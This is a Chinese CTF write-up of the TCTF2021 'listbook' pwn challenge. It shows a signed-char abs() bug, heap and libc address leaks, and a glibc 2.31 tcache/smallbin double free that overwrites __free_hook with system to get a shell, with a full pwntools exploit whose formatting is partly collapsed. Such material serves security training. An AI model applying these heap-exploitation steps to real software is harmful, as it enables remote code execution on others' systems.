ctf-pwn tc和smallbin的doublefree利用

  • A+
所属分类:逆向工程

前言:

之前曾经有了解过libc.2.31下tc和smallbin的联合利用, 但是那次看到的是malloc与calloc的使用, 所以这次借助TCTF2021的listbook来讲讲2.31版本下tc和smallbin的doublefree利用的另一种方法.

漏洞分析:

首先是全保护都被开启了

而后我们用IDA分析一下程序

漏洞一:

在add中找到漏洞点abs8:

ctf-pwn  tc和smallbin的doublefree利用

ctf-pwn  tc和smallbin的doublefree利用

先来解释一下bug函数的功能: 是将name中的内容逐字节的ascii码相加所得的值取绝对值v4, 用这个值与15比较大小, 如果大于15则用16取余, 但是注意所得的v4是char类型, 它是有符号和范围的! (这件事在the-art-of-software-security-assessment一书中也被吐槽过 "程序员总是忘了他们的字符也是有符号和范围的"), 所以不可避免的我们会想到用负数来绕过, 然而什么负数在abs后不会改变嘞? 当然是负数极大值啦, 所以我们使得ascii码的和为0x80即可

然后我们再讲一下取0x80的作用: 它可以使得name_addr[-128]的地址写到name_inuse[0]和[1]上, 从而生成非零值绕过inuse检测, 从而为我们的double free创造条件

漏洞二:

在add函数中:

ctf-pwn  tc和smallbin的doublefree利用

它申请的0x20大小空间中可以写入0x10字节的内容, 然而之后在写入link的地址时:

ctf-pwn  tc和smallbin的doublefree利用

即在chunk+0x10写入了地址, 所以我们又有了机会泄露heap地址

解题思路:

泄露heap_base:

利用漏洞二可以很轻松的得出, 在此就不多赘述了

def get_heap_base():    Add('a'*16, 'a', 0)    Add('a'*16, 'w', 0)    Show(0)    sh.recvuntil('a'*16)    leak_heap=u64(sh.recv(6).ljust(8, 'x00'))    heap_base=leak_heap-0xb2a0    log.success('heap base: '+hex(heap_base))    Delete(0)    return heap_base

泄露libc_base:

可以先考虑填充完tc, 然后将一个0x210大小的chunk放入unsortedbin, 之后申请的0x30都会先放在这unsortedbin中, 因此便有了机会申请到largechunk, 之后用doublefree即可打印出main_arena+偏移, 从而获得libc_base:

def get_libc_base():    [Add(p64(15), 't') for i in range(8)]    Delete(15)    [Add(p64(14), 'y') for i in range(7)] #tc置空    Add(p64(13), 'n')    Add(p64(12), 'n')    [Add(p64(1), 'a') for i in range(3)]    Delete(14)    Delete(13)    Delete(1)    [Add(p64(14), 'z') for i in range(7)]    Add(p64(1), 'x')    Delete(14)    Delete(1)    Add(p64(0x80), 'a')    Show(1)    sh.recvuntil('=> ')    leak_arena=u64(sh.recv(6).ljust(8, 'x00'))    main_arena=leak_arena-1104    log.success('main arena: '+hex(main_arena))    Delete(0x80)    return main_arena'''其实这段代码可以优化很多地方, 当时比赛没来得及去深入思考'''

利用doublefree来改写free_hook:

首先先贴一张图, 方便日后的讲解:

ctf-pwn  tc和smallbin的doublefree利用

第一步: 先回收一下垃圾, 让heap区看起来整洁一些

第二步: 申请足够多的chunk为后来的操作做准备

第三步: 类似于泄露libc_base时的操作, 申请一个0x210大小的unsortedbin用于之后申请0x30的chunk, 这个是我的bin分布:

第四步: 构造如图的结构, 注意chunk1和chunk2要相邻(注意, 其实中间即使出现了一两个0x30大小的chunk也无所谓的)这个是我的bin分布:

ctf-pwn  tc和smallbin的doublefree利用

chunk1和chunk2在double free之前内存分布如下:

ctf-pwn  tc和smallbin的doublefree利用

第五步, 将chunk1申请出来, 然后在一个离chunk2不太远的地方伪造一个fakechunk, 同时在其fd和bk位置写上路人chunk的fd和bk, 为后面绕过malloc检测做准备, bin分布:

ctf-pwn  tc和smallbin的doublefree利用

chunk1和chunk2如图:

ctf-pwn  tc和smallbin的doublefree利用

第六步: 再次申请了0x80为name的chunk后, 很显然我们的name_inuse[1]被改变为了非零数, 从而可以再次释放, 从而doublefree

ctf-pwn  tc和smallbin的doublefree利用

第七步: add一次, 然后改写刚申请出来的chunk2的bk为之前的fakechunk地址, fd不用动, 即use after free:

ctf-pwn  tc和smallbin的doublefree利用

第八步: 慢慢申请直到fakechunk:

ctf-pwn  tc和smallbin的doublefree利用

第九步: 由于fakechunk离chunk2很近, 同时fakechunk依旧是0x210大小, 所以存在对chunk2的部分uaf, 所以直接改写chunk2在tc中的fd为free_hook, 最后在free_hook上写入system的地址即可:

ctf-pwn  tc和smallbin的doublefree利用

def get_shell(heap_base, libc_base):#第一步:    Add(p64(0), '?')    Add(p64(1), '?')    Add(p64(5), '?')    Add(p64(12), '?')    Delete(0)    Delete(1)    Delete(5)    Delete(12)    [Add(p64(15), 'QAQ') for i in range(21)]    '''这上面的操作不过是垃圾回收'''
#第二步: [Add(p64(9), 'aaaa'*8) for i in range(6)] Add(p64(11), 'bbbb'*8) Add(p64(1), 'wwww'*8) Add(p64(2), 'm') Add(p64(3), 'd') Add(p64(4), 'a') Add(p64(5), 'z') Add(p64(7), 'z') Add(p64(8), 'z') [Add(p64(6), 'tttt') for i in range(7)]
#第三步: Delete(6) Delete(3) Add(p64(12), 'w')#10
#第四步: [Add(p64(6), 'w') for i in range(7)]#3 Delete(9) Delete(11) #chunk1, 同时tc full Delete(4) Delete(2) Delete(8) Delete(1) #chunk2, 即double free的chunk Delete(5) #路人chunk #第五/六步: payload1='x'*16*17+p64(0)+p64(0x211)+p64(heap_base+0xf820)+p64(libc_base+0x1ebde0) Add(p64(0x80), payload1)#chunk above 1 Delete(1)#tc full, 2
#第七步: Add(p64(11), p64(heap_base+0xfa60)+p64(heap_base+0xf700)) [Add(p64(2), 'www') for i in range(7)]
#第八步 payload2=p64(0)*34+p64(0)+p64(0x210)+p64(libc_base+libc.sym['__free_hook']) Add(p64(3), payload2)
#第九步 Add(p64(8), '/bin/shx00') Add(p64(5), p64(libc_base+libc.sym['system'])) Delete(8)

完整exp:

#!/usr/bin/env python# coding=utf-8from pwn import *sh=process('./listbook')context.binary=('./listbook')libc=ELF('./libc-2.31.so')#context.log_level='debug'
def Add(name, context, flag=1): sh.recvuntil('>>') sh.sendline('1') sh.recvuntil('name>') if flag: sh.sendline(name) else: sh.send(name) sh.recvuntil('content>') ''' the name ascii add together and %16 ''' sh.sendline(context)
def Delete(idx): sh.recvuntil('>>') sh.sendline('2') sh.recvuntil('index>') sh.sendline(str(idx))
def Show(idx): sh.recvuntil('>>') sh.sendline('3') sh.recvuntil('index>') sh.sendline(str(idx))
def stop(): print str(proc.pidof(sh)) pause()
def get_heap_base(): Add('a'*16, 'a', 0) Add('a'*16, 'w', 0) Show(0) sh.recvuntil('a'*16) leak_heap=u64(sh.recv(6).ljust(8, 'x00')) heap_base=leak_heap-0xb2a0 log.success('heap base: '+hex(heap_base)) Delete(0) return heap_base
def get_libc_base(): [Add(p64(15), 't') for i in range(8)] Delete(15) [Add(p64(14), 'y') for i in range(7)] Add(p64(13), 'n') Add(p64(12), 'n') [Add(p64(1), 'a') for i in range(3)] Delete(14) Delete(13) Delete(1) [Add(p64(14), 'z') for i in range(7)] Add(p64(1), 'x') Delete(14) Delete(1) Add(p64(0x80), 'a') Show(1) sh.recvuntil('=> ') leak_arena=u64(sh.recv(6).ljust(8, 'x00')) main_arena=leak_arena-1104 log.success('main arena: '+hex(main_arena)) Delete(0x80) return main_arena
def get_shell(heap_base, libc_base): Add(p64(0), '?') Add(p64(1), '?') Add(p64(5), '?') Add(p64(12), '?') Delete(0) Delete(1) Delete(5) Delete(12) [Add(p64(15), 'QAQ') for i in range(21)] [Add(p64(9), 'aaaa'*8) for i in range(6)] Add(p64(11), 'bbbb'*8) Add(p64(1), 'wwww'*8) Add(p64(2), 'm') Add(p64(3), 'd') Add(p64(4), 'a') Add(p64(5), 'z') Add(p64(7), 'z') Add(p64(8), 'z') [Add(p64(6), 'tttt') for i in range(7)] Delete(6) #Add(p64(0x80), 'a') Delete(3) Add(p64(12), 'w')#10 [Add(p64(6), 'w') for i in range(7)]#3 Delete(9) Delete(11) #for on 1 Delete(4) Delete(2) Delete(8) Delete(1) Delete(5) #Add(p64(13), 'w')#2 #Delete(1) payload1='x'*16*17+p64(0)+p64(0x211)+p64(heap_base+0xf820)+p64(libc_base+0x1ebde0) Add(p64(0x80), payload1)#chunk above 1 Delete(1)#tc full, 2
Add(p64(11), p64(heap_base+0xfa60)+p64(heap_base+0xf700)) [Add(p64(2), 'www') for i in range(7)] # payload2=p64(0)*2*18+p64(0)+p64(0x211)+p64(libc_base+libc.sym['__free_hook'])+p64(heap_base+0xb010) payload2=p64(0)*34+p64(0)+p64(0x210)+p64(libc_base+libc.sym['__free_hook']) Add(p64(3), payload2) Add(p64(8), '/bin/shx00') Add(p64(5), p64(libc_base+libc.sym['system'])) Delete(8)
def pwn(): heap_base = get_heap_base() libc_base = get_libc_base() - 0x1ebb80 log.success('libc_base: '+hex(libc_base)) get_shell(heap_base, libc_base) sh.interactive()
pwn()

最终效果:

ctf-pwn  tc和smallbin的doublefree利用

文末推荐:点击图片了解CTF-PWN特训班详情

ctf-pwn  tc和smallbin的doublefree利用

ctf-pwn  tc和smallbin的doublefree利用
“阅读原文”马上开启CTF世界!

本文始发于微信公众号(合天网安实验室):ctf-pwn tc和smallbin的doublefree利用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: